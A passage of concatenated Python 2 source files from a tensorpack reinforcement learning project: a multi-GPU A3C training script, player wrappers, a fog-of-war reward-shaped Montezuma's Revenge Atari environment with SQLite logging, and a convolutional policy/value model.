# print "DEBUGGING INFO:{}".format(DEBUGING_INFO)
FRAME_HISTORY = int(get_atribute(ctx, "frame_history", 4))
# module_name, function_name = ctx.params.featureExtractor.split(".")
module_name = ctx.params.experimentModelClass[:ctx.params.experimentModelClass.rfind('.')]
class_name = ctx.params.experimentModelClass[ctx.params.experimentModelClass.rfind('.')+1:]
experiment_model_class = importlib.import_module(module_name).__dict__[class_name]
if hasattr(ctx.params, "stage"):
# That's not the most elegant solution but well ;)
stage = int(ctx.params.stage)
EXPERIMENT_MODEL = experiment_model_class(ctx.params.experimentModelParameters, stage)
else:
EXPERIMENT_MODEL = experiment_model_class(ctx.params.experimentModelParameters)
p = get_player();
del p # set NUM_ACTIONS
EXPERIMENT_MODEL.set_number_of_actions(NUM_ACTIONS)
if ctx.params.gpu:
# print "CUDA_VISIBLE_DEVICES:{}".format(os.environ['CUDA_VISIBLE_DEVICES'])
print "Set GPU:{}".format(ctx.params.gpu)
os.environ['CUDA_VISIBLE_DEVICES'] = ctx.params.gpu
nr_gpu = get_nr_gpu()
if nr_gpu > 1:
predict_tower = range(nr_gpu)[-nr_gpu / 2:]
else:
predict_tower = [0]
PREDICTOR_THREAD = len(predict_tower) * PREDICTOR_THREAD_PER_GPU
if hasattr(ctx.params, "history_logs"):
if ctx.params.history_logs == "":
HISTORY_LOGS = ([], [], [])
else:
HISTORY_LOGS = json.loads(ctx.params.history_logs)
config = get_config(ctx)
if ctx.params.load != "":
config.session_init = SaverRestore(ctx.params.load)
if hasattr(ctx.params, "load_previous_stage"):
if ctx.params.load_previous_stage != "":
config.session_init = SaverRestore(ctx.params.load_previous_stage )
config.tower = range(nr_gpu)[:-nr_gpu / 2] or [0]
logger.info("[BA3C] Train on gpu {} and infer on gpu {}".format(
','.join(map(str, config.tower)), ','.join(map(str, predict_tower))))
AsyncMultiGPUTrainer(config, predict_tower=predict_tower).train()
# For the moment this is a hack.
# The neptune interface does not allow to return values
if hasattr(ctx.params, "mother_experiment_id"):
experiment_dir = ctx.dump_dir_url
json_path = os.path.join(experiment_dir, ctx.params.mother_experiment_id + ".json")
info_to_pass = {}
info_to_pass["previous_experiment_id"] = ctx.job.id
print "Experiment history logs to save:{}".format(HISTORY_LOGS)
info_to_pass["history_logs"] = json.dumps(HISTORY_LOGS)
with open(json_path, 'w') as outfile:
json.dump(info_to_pass, outfile)
# if __name__ == '__main__':
# parser = argparse.ArgumentParser()
# parser.add_argument('--gpu', help='comma separated list of GPU(s) to use.') # nargs='*' in multi mode
# parser.add_argument('--load', help='load model')
# parser.add_argument('--env', help='env', required=True)
# parser.add_argument('--task', help='task to perform',
# choices=['play', 'eval', 'train'], default='train')
# args = parser.parse_args()
#
# ENV_NAME = args.env
# assert ENV_NAME
# p = get_player(); del p # set NUM_ACTIONS
#
# if args.gpu:
# os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu
# if args.task != 'train':
# assert args.load is not None
#
# if args.task != 'train':
# cfg = PredictConfig(
# model=Model(),
# session_init=SaverRestore(args.load),
# input_var_names=['state'],
# output_var_names=['logits'])
# if args.task == 'play':
# play_model(cfg)
# elif args.task == 'eval':
# eval_model_multithread(cfg, EVAL_EPISODE)
# else:
# nr_gpu = get_nr_gpu()
# if nr_gpu > 1:
# predict_tower = range(nr_gpu)[-nr_gpu/2:]
# else:
# predict_tower = [0]
# PREDICTOR_THREAD = len(predict_tower) * PREDICTOR_THREAD_PER_GPU
# config = get_config()
# if args.load:
# config.session_init = SaverRestore(args.load)
# config.tower = range(nr_gpu)[:-nr_gpu/2] or [0]
# logger.info("[BA3C] Train on gpu {} and infer on gpu {}".format(
# ','.join(map(str, config.tower)), ','.join(map(str, predict_tower))))
# AsyncMultiGPUTrainer(config, predict_tower=predict_tower).train()
<file_sep>/tensorpack/RL/common.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: common.py
# Author: <NAME> <<EMAIL>>
import numpy as np
from collections import deque
import readchar as readchar
from .envbase import ProxyPlayer
__all__ = ['PreventStuckPlayer', 'LimitLengthPlayer', 'AutoRestartPlayer',
'MapPlayerState', 'KeyboardPlayer']
class PreventStuckPlayer(ProxyPlayer):
""" Prevent the player from getting stuck (repeating a no-op)
by inserting a different action. Useful in games such as Atari Breakout
where the agent needs to press the 'start' button to start playing.
"""
# TODO hash the state as well?
def __init__(self, player, nr_repeat, action):
"""
:param nr_repeat: trigger the 'action' after this many of repeated action
:param action: the action to be triggered to get out of stuck
Does auto-reset, but doesn't auto-restart the underlying player.
"""
super(PreventStuckPlayer, self).__init__(player)
self.act_que = deque(maxlen=nr_repeat)
self.trigger_action = action
def action(self, act):
self.act_que.append(act)
if self.act_que.count(self.act_que[0]) == self.act_que.maxlen:
act = self.trigger_action
r, isOver = self.player.action(act)
if isOver:
self.act_que.clear()
return (r, isOver)
def restart_episode(self):
super(PreventStuckPlayer, self).restart_episode()
self.act_que.clear()
class LimitLengthPlayer(ProxyPlayer):
""" Limit the total number of actions in an episode.
Will auto restart the underlying player on timeout
"""
def __init__(self, player, limit):
super(LimitLengthPlayer, self).__init__(player)
self.limit = limit
self.cnt = 0
def action(self, act):
r, isOver = self.player.action(act)
self.cnt += 1
if self.cnt >= self.limit:
isOver = True
self.finish_episode()
self.restart_episode()
if isOver:
self.cnt = 0
return (r, isOver)
def restart_episode(self):
self.player.restart_episode()
self.cnt = 0
class AutoRestartPlayer(ProxyPlayer):
""" Auto-restart the player on episode ends,
in case some player wasn't designed to do so. """
def action(self, act):
r, isOver = self.player.action(act)
if isOver:
self.player.finish_episode()
self.player.restart_episode()
return r, isOver
class MapPlayerState(ProxyPlayer):
def __init__(self, player, func):
super(MapPlayerState, self).__init__(player)
self.func = func
def current_state(self):
return self.func(self.player.current_state())
class KeyboardPlayer(ProxyPlayer):
def __init__(self, player):
self.player = player
self.ACTION_MEANING = {
0: "NOOP",
1: "FIRE",
2: "UP",
3: "RIGHT",
4: "LEFT",
5: "DOWN",
6: "UPRIGHT",
7: "UPLEFT",
8: "DOWNRIGHT",
9: "DOWNLEFT",
10: "UPFIRE",
11: "RIGHTFIRE",
12: "LEFTFIRE",
13: "DOWNFIRE",
14: "UPRIGHTFIRE",
15: "UPLEFTFIRE",
16: "DOWNRIGHTFIRE",
17: "DOWNLEFTFIRE",
}
self.map = {v: k for k, v in self.ACTION_MEANING.iteritems()}
self.mode = 1
def map_input(self, c):
if c == 'w':
return self.map["UP"]
if c == 's':
return self.map["DOWN"]
if c == 'a':
return self.map["LEFT"]
if c == 'd':
return self.map["RIGHT"]
if c == 'q':
return self.map["UPLEFT"]
if c == 'e':
return self.map["UPRIGHT"]
if c == 't':
return self.map["UPFIRE"]
if c == 'g':
return self.map["DOWNFIRE"]
if c == 'f':
return self.map["LEFTFIRE"]
if c == 'h':
return self.map["RIGHTFIRE"]
if c == 'r':
return self.map["UPLEFTFIRE"]
if c == 'y':
return self.map["UPRIGHTFIRE"]
print "Shoud not happen!"
return self.map["NOOP"]
def action(self, act):
# print "Entering with action:{}".format(self.ACTION_MEANING[act])
old_act = act
if self.mode == 0:
name = raw_input("Enter command: ")
print "Command:{}".format(name)
if "[" in name:
self.mode = 1
if "ex" in name:
file_name = name.split(" ")[1]
with open(file_name) as f:
commands = f.readline()
commands = commands.split(" ")
self.commands = []
for c in commands:
if "*" in c:
cmd = c.split("*")[0]
counter = int(c.split("*")[1])
self.commands += ([cmd] * counter)
else:
self.commands += [c]
print "Commands:{}".format(self.commands)
self.mode = 3
self.counter = 0
act = self.map["NOOP"]
if self.mode == 1:
c = readchar.readkey()
# print "Key:{}".format(c)
change_action = True
if c == '[':
self.mode = 0
act = self.map["NOOP"]
change_action = False
if c == ' ':
change_action = False
if c == '.':
raise ZeroDivisionError
if change_action:
act = self.map_input(c)
if self.mode == 3:
if self.commands[self.counter] in self.map:
act = self.map[self.commands[self.counter]]
else:
act = 0
self.counter += 1
if self.counter == len(self.commands):
self.mode = 1
print "Policy action:{} our action {}".format(self.ACTION_MEANING[old_act],
self.ACTION_MEANING[act])
r, isOver = self.player.action(act)
return r, isOver
def play_one_episode(self, func, stat = 'score'):
gymenv = self.player.player.player.player.gymenv
if not isinstance(stat, list):
stat = [stat]
s = self.current_state()
self.cached_action, action_dist, val = func(s, full_info=True)
# gymenv.set_additional_render_info(action_dist)
# print "Action dist:{} of len:{}".format(action_dist, len(action_dist))
while True:
r, isOver = self.action(self.cached_action)
if isOver:
s = [self.stats[k] for k in stat]
self.reset_stat()
return s if len(s) > 1 else s[0]
else:
s = self.current_state()
self.cached_action, action_dist, value = func(s, full_info=True)
to_display = action_dist.tolist()
to_display.append(0)
to_display.append(value/10)
gymenv.set_additional_render_info(to_display)
# print "The next action is going to be:{}".format(self.cached_action)
<file_sep>/examples/OpenAIGym/montezuma_env.py
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sns
import random
import PIL.ImageDraw as ImageDraw
import PIL.ImageFont as ImageFont
import sqlite3
from gym.envs.atari import AtariEnv
import numpy as np
import collections
from PIL import Image
import os
import sys
from gym.envs.atari.atari_env import to_ram
LOGS_DIR = "/mnt/storage_codi/piotr.milos/Logs"
FOG_OF_WAR_REWARD = 1
TRUE_REWARD_FACTOR = 5
DEATH_REWARD = - 200
REWARDS_FILE = "rewards.txt"
def combine_images(img1, img2):
w1, h1, _ = img1.shape
w2, h2, _ = img2.shape
w3 = w1+w2
h3 = max(h1, h2)
joint_image_buf = np.full((w3, h3, 3), 255, dtype="uint8")
joint_image_buf[0:w1, 0:h1, :] = img1
joint_image_buf[w1:w1+w2, 0:h2, :] = img2
return joint_image_buf
def get_debug_graph(values):
sns.set(style="white", context="talk")
plt.figure(figsize=(5, 2))
x = np.array(['no', 'f', 'u', 'r', 'l', 'd', 'ur', 'ul', 'dr',
'dl', 'uf', 'rf', 'lf', 'df', 'urf', 'drf', 'dlf', '', '','val'])
y1 = values
sns.barplot(x, y1, palette="BuGn_d")
sns.despine(bottom=True)
plt.savefig("/tmp/aaa.png")
plt.clf()
import matplotlib.image as mpimg
arr = np.array(Image.open("/tmp/aaa.png"))
buf = arr[:,:,:3]
return buf
def get_debug_graph(values):
fig = matplotlib.pyplot.figure()
fig.canvas.draw()
x = np.array(['no', 'f', 'u', 'r', 'l', 'd', 'ur', 'ul', 'dr',
'dl', 'uf', 'rf', 'lf', 'df', 'urf', 'drf', 'dlf', '', '', 'val'])
y1 = values
sns.barplot(x, y1, palette="BuGn_d", ax=fig)
sns.despine(bottom=True)
return None
class MontezumaRevengeFogOfWar(AtariEnv):
def __init__(self, game='pong', obs_type='ram', frameskip=(2, 5), repeat_action_probability=0.):
super(MontezumaRevengeFogOfWar, self).__init__(game, obs_type, frameskip, repeat_action_probability)
self._fogs_of_war = {}
for x in xrange(10):
self._fogs_of_war[x] = np.ones((21,16), dtype="uint8")
self.board_id = 0
self.upsampling_matrix = 255*np.ones((10, 10), dtype="uint8")
self.current_number_of_lives = 5
self._rewards_events = 0
self.worker_id = random.randint(1000, 9999)
self._rewards_events_number_of_lives = [0]*10
self._is_important_event = 0
self._visited_levels_mask = [0] * 100
self._visited_levels_mask[0] = 1
self._internal_index = 0
self._old_fog_of_war = None
self._maximal_agent_rewards = 0
try:
self.conn = sqlite3.connect(os.path.join(LOGS_DIR, 'montezuma_logs.db'))
except:
self.conn = None
self.experiment_id = None
self._reward_hash = 0
self.additional_render_info = [1 for i in xrange(1,21)]
# # self._filter_list = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 33, 35, 39, 41, 46, 57, 59, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 80, 81, 82, 85, 98, 104, 105, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123]
# self._filter_list = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 33, 39, 41, 57, 59, 69, 71, 72, 73, 74, 75, 76, 77, 78, 85, 98, 104, 105, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123]
# self._filter_list = [8, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 33, 39, 41, 57, 59, 69, 71, 72, 73, 74, 75, 76, 77, 78, 85, 98, 104, 105, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123]
# # self._filter_list = [x for x in xrange(128)]
# self._board_destection = [set([]) for x in xrange(len(self._filter_list))]
self.counter = 0
# print "Creating a Montezuma agent with id:{}".format(self._internal_id)
def set_experiment_id(self, exp_id):
self.experiment_id = exp_id
def insert_logs(self, *args):
if self.conn == None:
#We do not log
return
assert len(args) == 12, "wrong number of parameters"
sql_instert_str = "INSERT INTO Logs ('experiment_id', 'worker_id', 'image_id', " \
"'event_type', 'rewards_events', 'number_of_lives', 'number_of_levels', " \
"'level0', 'level1', 'level2', 'level3', 'level4') " \
"VALUES ({},{},'{}',{},{},{},{},{},{},{},{},{})".format(*args)
# print "SQL command:{}".format(sql_instert_str)
cursor = self.conn.cursor()
cursor.execute(sql_instert_str)
self.conn.commit()
def log_important_event(self, image):
if self.conn == None:
return
data = np.lib.pad(image, ((0, 0), (0, 300), (0, 0)), 'constant', constant_values=(0, 255))
img = Image.fromarray(data)
draw = ImageDraw.Draw(img)
font_path = "/usr/share/fonts/truetype/lyx/cmmi10.ttf"
font = ImageFont.truetype(font_path, size=15)
debug_string = "Debug info for worker:{}\n".format(self.worker_id)
vec = [self._rewards_events, sum(self._visited_levels_mask)] + self._rewards_events_number_of_lives[:3] + self._visited_levels_mask[:5]
descs = ["rewards", "levels", "lives0", "lives1", "lives2",
"level0", "level1", "level2", "level3", "level4"]
assert len(vec)==len(descs), "Oh shit:{}, {}!".format(len(vec), len(descs))
for val, desc in zip(vec, descs):
debug_string += " {}:{}\n".format(desc, val)
draw.text((180, 0), debug_string, (0, 0, 0), font=font)
image_str = "screenshot{}-{}-{}.png".format(self.experiment_id, self.worker_id, self._internal_index)
self._internal_index += 1
img.save(os.path.join(LOGS_DIR, image_str))
self.insert_logs(self.experiment_id, self.worker_id, image_str,
self._is_important_event, self._rewards_events, self.current_number_of_lives, sum(self._visited_levels_mask),
self._visited_levels_mask[0], self._visited_levels_mask[1], self._visited_levels_mask[2],
self._visited_levels_mask[3], self._visited_levels_mask[4])
self._is_important_event = 0
def set_additional_render_info(self, val):
self.additional_render_info = val
def _render(self, mode='human', close=False):
if close:
if self.viewer is not None:
self.viewer.close()
self.viewer = None
return
print "AAA"
screen_img = self._get_image()
debug_img = get_debug_graph(self.additional_render_info)
img = combine_images(screen_img, debug_img)
# img = debug_img
if mode == 'rgb_array':
return img
elif mode == 'human':
from gym.envs.classic_control import rendering
if self.viewer is None:
self.viewer = rendering.SimpleImageViewer()
self.viewer.imshow(img)
def _get_image(self):
self.ale.getScreenRGB(self._buffer) # says rgb but actually bgr
res = self._buffer[:, :, [2, 1, 0]]
fog_of_war = np.kron(self._fogs_of_war[self.board_id], self.upsampling_matrix)
res[:,:,2] = fog_of_war
log_information = self._information_to_encode()
info_size = len(log_information)
info = np.lib.pad(np.array(log_information),
(0, 160 - info_size), 'constant', constant_values=(0,0))
res[0, :, 0] = info
return res
def _information_to_encode(self):
l = []
# print "Montezuma rewards:{}".format(self._rewards_events)
l.append(self._rewards_events)
l.append(sum(self._visited_levels_mask))
l += self._rewards_events_number_of_lives[:3]
l += self._visited_levels_mask[:7]
return l
def _locate_agent(self):
HACK_PARAMETER = 30
positions = np.argwhere(self._buffer[HACK_PARAMETER:,:,2]==200)
if len(positions) != 0:
return (positions[0,0]+ HACK_PARAMETER, positions[0,1])
# def set_reward_vector(self, vec):
# self.reward_
def _step(self, a):
global TRUE_REWARD_FACTOR, DEATH_REWARD, FOG_OF_WAR_REWARD
loc = self._locate_agent()
ob, reward, game_over, d = super(MontezumaRevengeFogOfWar, self)._step(a)
reward = TRUE_REWARD_FACTOR * reward
self._set_board(ob)
if reward != 0:
self._old_fog_of_war = self._fogs_of_war[self.board_id]
self._fogs_of_war[self.board_id] = np.ones((21,16), dtype="uint8")
self._rewards_events_number_of_lives[self._rewards_events] = self.current_number_of_lives
self._rewards_events += 1
self._reward_hash = hash((self.board_id, self._rewards_events, loc[0]/20, loc[1]/20))
print "Registered {} on {} {} with hash {}".format(self._rewards_events, loc[0]/20, loc[1]/20, self._reward_hash)
if self._rewards_events>self._maximal_agent_rewards:
self._is_important_event = 1
self._maximal_agent_rewards = self._rewards_events
if self._number_of_lives(ob) != self.current_number_of_lives:
self.current_number_of_lives = self._number_of_lives(ob)
reward += DEATH_REWARD
# self._is_important_event = 2
if loc != None:
# print "Agent location:{}".format(loc)
l_x = loc[0]/10
l_y = loc[1]/10
if self._fogs_of_war[self.board_id][l_x, l_y] == 1:
reward += FOG_OF_WAR_REWARD
self._fogs_of_war[self.board_id][l_x, l_y] = 0
if self._is_important_event > 0:
self.log_important_event(ob)
return ob, reward, game_over, d
def _set_board(self, ob):
_detected_board = -1
tmp_sum = np.sum(ob[:, 1, 0])
# print "Sum1:{} and sum2:{}".format(np.sum(ob[:, 159, 0]), sum)
# print "Sum:{}".format(np.sum(ob[:, 1, 0]))
if np.all(ob[94:133, 159, 1] == 158):
_detected_board = 0
if np.sum(ob[:, 159, 0]) == 7746:
_detected_board = 1
if abs(np.sum(ob[:, 1, 0]) - 9216) <= 10:
_detected_board = 2
if np.sum(ob[100:, 80, 0]) == 14080:
_detected_board = 3
if abs(tmp_sum - 12227) <= 3:
_detected_board = 4
if abs(np.sum(ob[:, 159, 0]) - 19561) <= 3:
_detected_board = 5
if abs(np.sum(ob[:, 1, 0]) - 6845) <= 2:
_detected_board = 6
if abs(tmp_sum - 200) <= 5 or abs(tmp_sum - 314) <= 5:
_detected_board = self.board_id
if _detected_board != -1:
self.board_id = _detected_board
old_number_of_visited = sum(self._visited_levels_mask)
self._visited_levels_mask[self.board_id] = 1
if sum(self._visited_levels_mask) != old_number_of_visited:
self._is_important_event = 4
if _detected_board == -1:
self._is_important_event = 8
# ram = self._get_ram()
# for x in xrange(len(self._filter_list)):
# self._board_destection[x].add((ram[self._filter_list[x]], self.board_id))
#
#
# suspects = []
# for x in xrange(len(self._filter_list)):
# if len(self._board_destection[x]) == sum(self._visited_levels_mask):
# suspects.append(self._filter_list[x])
# if len(suspects)<len(self._filter_list):
# print "Suspects {}:{}".format(len(suspects), suspects)
def _set_board_old(self, ob):
ram = self._get_ram()
print "Ram:{} and board:{}".format(ram, ram[83])
self.board_id = ram[83]
old_number_of_visited = sum(self._visited_levels_mask)
self._visited_levels_mask[self.board_id] = 1
if sum(self._visited_levels_mask) != old_number_of_visited:
self._is_important_event = 4
print "Imporatant event"
raise AttributeError
def _reset(self):
self._read_rewards()
for x in xrange(10):
self._fogs_of_war[x] = np.ones((21,16), dtype="uint8")
self.current_number_of_lives = 5
self._rewards_events_number_of_lives = [0] * 10
self._rewards_events = 0
self._boards_explored = 1
return super(MontezumaRevengeFogOfWar, self)._reset()
def _number_of_lives(self, observation):
return int(np.sum(observation[15, :, 0])) / (3 * 210)
def _read_rewards(self):
global FOG_OF_WAR_REWARD, TRUE_REWARD_FACTOR, DEATH_REWARD
print "Rewards file: {}".format(REWARDS_FILE)
try:
with open(REWARDS_FILE, "r") as f:
rewards = f.readline()
strs = rewards.split(" ")
TRUE_REWARD_FACTOR = float(strs[0])
FOG_OF_WAR_REWARD = float(strs[1])
DEATH_REWARD = float(strs[2])
except:
TRUE_REWARD_FACTOR, FOG_OF_WAR_REWARD, DEATH_REWARD = 5, 1, -200
print "New rewards have been set: {} {} {}".format(TRUE_REWARD_FACTOR, FOG_OF_WAR_REWARD, DEATH_REWARD)
class MontezumaRevengeFogOfWarRandomAction(MontezumaRevengeFogOfWar):
def _step(self, a):
# print "{}".format(self._internal_id)
action = a
if random.uniform(0,1) < 0.00:
action = random.randint(0,17)
return super(MontezumaRevengeFogOfWarRandomAction, self)._step(action)
STARTING_POINT_SELECTOR = "/mnt/storage_codi/piotr.milos/Projects/rl2/" \
"tensorpack/examples/OpenAIGym/starting_point_selector"
class MontezumaRevengeFogOfWarRandomActionRandomStartingState(MontezumaRevengeFogOfWar):
def __init__(self, game='pong', obs_type='ram', frameskip=(2, 5), repeat_action_probability=0.):
super(MontezumaRevengeFogOfWarRandomActionRandomStartingState, self).__init__(game, obs_type, frameskip, repeat_action_probability)
self._saved_states = []
self.setup_database()
self._save_current_state(0)
sys.path.insert(0, "/mnt/storage_codi/piotr.milos/Projects/rl2/tensorpack/examples/OpenAIGym")
#########self._saved_states.append(self._save_current_state())
def _save_current_state(self, reward_id):
t= (self.ale.cloneState(), self._fogs_of_war, self.current_number_of_lives, self._rewards_events,
self._rewards_events_number_of_lives)
self.insert_row(reward_id, self._rewards_events, self.current_number_of_lives, len(self._saved_states))
self._saved_states.append(t)
def _restore_state(self, state):
t0, t1, t2, t3, t4 = state
self.ale.restoreState(t0)
self._fogs_of_war = {}
for id in xrange(10):
self._fogs_of_war[id] = np.copy(t1[id])
self.current_number_of_lives = t2
self._rewards_events = t3
self._rewards_events_number_of_lives = list(t4)
# self._visited_levels_mask = list(t5)
self._is_important_event = 0
def _step(self, a):
ob, reward, game_over, d = super(MontezumaRevengeFogOfWarRandomActionRandomStartingState, self)._step(a)
if self._reward_hash != 0:
self._save_current_state(self._reward_hash)
self._reward_hash = 0
return ob, reward, game_over, d
def _reset(self):
self._read_rewards()
try:
import montezuma_starting_point_processors
reload(montezuma_starting_point_processors)
import montezuma_starting_point_processors
# print montezuma_starting_point_processors
# command_name = ""
with open(STARTING_POINT_SELECTOR, "r") as f:
selector = f.readline()
# print "Selector:{}".format(selector)
(command_name, command_param) = tuple(selector.split(":"))
selector = getattr(montezuma_starting_point_processors, command_name)
state_to_restore_index = selector(self, command_param)
except Exception as e:
print "Section failed. Rolling back to select_all. Error: {}".format(e)
state_to_restore_index = montezuma_starting_point_processors.select_all(self)
self._restore_state(self._saved_states[state_to_restore_index])
return self. _get_image()
def setup_database(self):
self._saved_states = []
self._saved_states_index = 0
self._snapshot_conn = sqlite3.connect(":memory:")
c = self._snapshot_conn.cursor()
c.execute("""CREATE TABLE snapshots (
reward_id INTEGER NOT NULL,
rewards_events INTEGER NOT NULL,
number_of_lives INTEGER NOT NULL,
ind INTEGER NOT NULL)""")
self._snapshot_conn.commit()
def insert_row(self, reward_id, rewards_events, number_of_lives, ind):
c = self._snapshot_conn.cursor()
c.execute("INSERT INTO snapshots VALUES ({}, {}, {}, {})".format(reward_id, rewards_events, number_of_lives, ind))
self._snapshot_conn.commit()
<file_sep>/examples/OpenAIGym/pong_models_new.py
import importlib
import random
from abc import ABCMeta, abstractmethod
import cv2
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
from examples.OpenAIGym.train_atari_with_neptune import FRAME_HISTORY, DEBUGING_INFO
from tensorpack.models.conv2d import Conv2D
from tensorpack.models.fc import FullyConnected
from tensorpack.models.model_desc import ModelDesc, InputVar, get_current_tower_context
import tensorflow as tf
import tensorpack.tfutils.symbolic_functions as symbf
from tensorpack.models.pool import MaxPooling
from tensorpack.tfutils import summary
from tensorpack.tfutils.argscope import argscope
from tensorpack.tfutils.gradproc import MapGradient, SummaryGradient
from tensorpack.models.nonlin import PReLU
import numpy as np
from tensorpack.callbacks.neptune import NeptuneLogger
from game_processors import _unary_representation
game = "montezuma_revenge"
name = "MontezumaRevengeCodilime-v0"
obs_type = 'image'
nondeterministic = False
frameskip = 1
from gym.envs import registration as rg
rg.register(
id='{}'.format(name),
# entry_point='gym.envs.atari:AtariEnv',
entry_point='examples.OpenAIGym.montezuma_env:MontezumaRevengeFogOfWar',
kwargs={'game': game, 'obs_type': obs_type, 'frameskip': 1}, # A frameskip of 1 means we get every frame
timestep_limit=frameskip * 100000,
nondeterministic=nondeterministic,
)
game = "montezuma_revenge"
name = "MontezumaRevengerRandomActionCodilime-v0"
obs_type = 'image'
nondeterministic = False
frameskip = 1
rg.register(
id='{}'.format(name),
# entry_point='gym.envs.atari:AtariEnv',
entry_point='examples.OpenAIGym.montezuma_env:MontezumaRevengeFogOfWarRandomAction',
kwargs={'game': game, 'obs_type': obs_type, 'frameskip': 1}, # A frameskip of 1 means we get every frame
timestep_limit=frameskip * 100000,
nondeterministic=nondeterministic,
)
game = "montezuma_revenge"
name = "MontezumaRevengeRandomActionRandomStartingStateCodilime-v0"
obs_type = 'image'
nondeterministic = False
frameskip = 1
rg.register(
id='{}'.format(name),
# entry_point='gym.envs.atari:AtariEnv',
entry_point='examples.OpenAIGym.montezuma_env:MontezumaRevengeFogOfWarRandomActionRandomStartingState',
kwargs={'game': game, 'obs_type': obs_type, 'frameskip': 1}, # A frameskip of 1 means we get every frame
timestep_limit=frameskip * 100000,
nondeterministic=nondeterministic,
)
#
# game = "montezuma_revenge"
# name = "MontezumaRevengeFogOfWarResetRestoresImporatantStatesCodilime-v0"
# obs_type = 'image'
# nondeterministic = False
# frameskip = 1
#
# rg.register(
# id='{}'.format(name),
# # entry_point='gym.envs.atari:AtariEnv',
# entry_point='examples.OpenAIGym.montezuma_env:MontezumaRevengeFogOfWarResetRestoresImporatantStates',
# kwargs={'game': game, 'obs_type': obs_type, 'frameskip': 1}, # A frameskip of 1 means we get every frame
# timestep_limit=frameskip * 100000,
# nondeterministic=nondeterministic,
# )
class AtariExperimentModel(ModelDesc):
__metaclass__ = ABCMeta
def __init__(self):
raise "The construction should be overriden and define self.input_shape"
def _get_input_vars(self):
# assert 1==0, "Aha:{}".format(self.input_shape)
assert self.number_of_actions is not None
# print "Number of actions:{}".format(self.number_of_actions)
inputs = [InputVar(tf.float32, (None,) + self.input_shape, 'state'),
InputVar(tf.int64, (None,), 'action'),
InputVar(tf.float32, (None,), 'futurereward') ]
return inputs
# This is a hack due the currect control flow ;)
def set_number_of_actions(self, num):
self.number_of_actions = num
@abstractmethod
def _get_NN_prediction(self, image):
"""create centre of the graph"""
@abstractmethod
def get_screen_processor(self):
"""Get the method used to extract features"""
@abstractmethod
def get_history_processor(self):
"""How the history should be processed."""
def _build_graph(self, inputs):
state, action, futurereward = inputs
policy, self.value = self._get_NN_prediction(state)
self.value = tf.squeeze(self.value, [1], name='pred_value') # (B,)
self.logits = tf.nn.softmax(policy, name='logits')
expf = tf.get_variable('explore_factor', shape=[],
initializer=tf.constant_initializer(1), trainable=False)
logitsT = tf.nn.softmax(policy * expf, name='logitsT')
is_training = get_current_tower_context().is_training
if not is_training:
return
log_probs = tf.log(self.logits + 1e-6)
log_pi_a_given_s = tf.reduce_sum(
log_probs * tf.one_hot(action, self.number_of_actions), 1)
advantage = tf.sub(tf.stop_gradient(self.value), futurereward, name='advantage')
policy_loss = tf.reduce_sum(log_pi_a_given_s * advantage, name='policy_loss')
xentropy_loss = tf.reduce_sum(
self.logits * log_probs, name='xentropy_loss')
value_loss = tf.nn.l2_loss(self.value - futurereward, name='value_loss')
pred_reward = tf.reduce_mean(self.value, name='predict_reward')
advantage = symbf.rms(advantage, name='rms_advantage')
summary.add_moving_summary(policy_loss, xentropy_loss, value_loss, pred_reward, advantage)
entropy_beta = tf.get_variable('entropy_beta', shape=[],
initializer=tf.constant_initializer(0.01), trainable=False)
self.cost = tf.add_n([policy_loss, xentropy_loss * entropy_beta, value_loss])
self.cost = tf.truediv(self.cost,
tf.cast(tf.shape(futurereward)[0], tf.float32),
name='cost')
# print "DEBUGGING INFO:{}".format(DEBUGING_INFO)
# assert 1 == 0, "AAA"
if DEBUGING_INFO:
logits_mean, logits_var = tf.nn.moments(self.logits, axes=[1])
# logits_mean_r = tf.reduce_sum(logits_mean)
logits_var_r = tf.reduce_sum(logits_var)
# tf.scalar_summary('logits_mean', logits_mean_r)
tf.scalar_summary('logits_var', logits_var_r)
tf.scalar_summary('entropy beta', entropy_beta)
tf.scalar_summary('explore factor', expf)
def get_gradient_processor(self):
return [MapGradient(lambda grad: tf.clip_by_average_norm(grad, 0.1)),
SummaryGradient()]
class AtariExperimentFromScreenModel(AtariExperimentModel):
def __init__(self, parameters):
self.IMAGE_SIZE = (84, 84)
self.CHANNELANDHISTORY = 3*FRAME_HISTORY
print "Frame history:{}".format(FRAME_HISTORY)
self.input_shape = self.IMAGE_SIZE + (self.CHANNELANDHISTORY,)
self.image_index = 1
# print "INPUT_SHAPE:{}".format(self.input_shape)
def _get_NN_prediction(self, image):
self._create_unnary_variables_with_summary(image[:, 0, :, 0],
(10, 10, 6, 6, 6),
("rewards", "levels", "lives0", "lives1", "lives2"))
image = image / 255.0
with argscope(Conv2D, nl=tf.nn.relu):
lc0 = Conv2D('conv0', image, out_channel=32, kernel_shape=5)
lc0 = MaxPooling('pool0', lc0, 2)
lc1 = Conv2D('conv1', lc0, out_channel=32, kernel_shape=5)
lc1 = MaxPooling('pool1', lc1, 2)
lc2 = Conv2D('conv2', lc1, out_channel=64, kernel_shape=4)
lc2 = MaxPooling('pool2', lc2, 2)
lc3 = Conv2D('conv3', lc2, out_channel=64, kernel_shape=3)
lfc0 = FullyConnected('fc0', lc3, 512, nl=tf.identity)
lfc0 = PReLU('prelu', lfc0)
policy = FullyConnected('fc-pi', lfc0, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', lfc0, 1, nl=tf.identity)
# if DEBUGING_INFO:
# summary.add_activation_summary(lc0, "conv_0")
# summary.add_activation_summary(lc1, "conv_1")
# summary.add_activation_summary(lc2, "conv_2")
# summary.add_activation_summary(lc3, "conv_3")
# summary.add_activation_summary(lfc0, "fc0")
# summary.add_activation_summary(policy, "policy")
# summary.add_activation_summary(value, "fc-v")
return policy, value
def _create_unnary_variables_with_summary(self, vec, sizes, names):
index = 0
for size, name in zip(sizes, names):
for s in xrange(size):
var_name = name + "_{}".format(s)
# print "Creating: {}".format(var_name)
